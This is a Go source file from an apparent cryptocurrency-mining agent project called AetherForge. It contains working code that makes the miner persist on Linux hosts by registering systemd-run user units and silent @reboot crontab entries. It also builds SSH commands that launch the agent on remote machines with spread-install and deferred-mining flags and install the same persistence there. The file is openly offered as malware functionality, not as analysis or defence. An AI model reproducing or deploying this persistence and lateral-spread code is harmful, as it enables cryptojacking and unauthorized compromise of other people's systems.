Files
AetherForge/agent/deploy/linux_lotl.go

79 lines
2.5 KiB
Go

//go:build !windows
package deploy
import (
"fmt"
"log"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install.
func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) {
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
if mode == "" || mode == "off" {
return
}
runArgs := "--run"
if WantsDeferMining() {
runArgs += " --defer-mining"
}
if mode == "systemd_run_user" || mode == "both" {
unit := sanitizeName(cfg.WorkerName) + "-worker"
if unit == "-worker" {
unit = "aetherforge-worker"
}
args := []string{"--user", "--unit=" + unit + ".service", binPath}
args = append(args, strings.Fields(runArgs)...)
if err := exec.Command("systemd-run", args...).Run(); err != nil {
log.Printf("[lotl] systemd-run --user failed: %v", err)
} else {
log.Printf("[lotl] systemd-run --user registered %s", unit)
}
}
if mode == "crontab" || mode == "both" {
line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs)
out, _ := exec.Command("crontab", "-l").Output()
existing := string(out)
if strings.Contains(existing, binPath) {
return
}
newCrontab := strings.TrimSpace(existing)
if newCrontab != "" {
newCrontab += "\n"
}
newCrontab += line + "\n"
cmd := exec.Command("crontab", "-")
cmd.Stdin = strings.NewReader(newCrontab)
if err := cmd.Run(); err != nil {
log.Printf("[lotl] crontab persist failed: %v", err)
} else {
log.Printf("[lotl] crontab @reboot entry added")
}
}
}
// sshSpreadStartCmd builds remote start with spread + defer-mining flags.
func sshSpreadStartCmd(remotePath string) string {
return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath)
}
// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required).
func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string {
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
if mode == "" || mode == "off" {
return ""
}
var parts []string
if mode == "systemd_run_user" || mode == "both" {
parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath))
}
if mode == "crontab" || mode == "both" {
parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath))
}
return strings.Join(parts, "; ")
}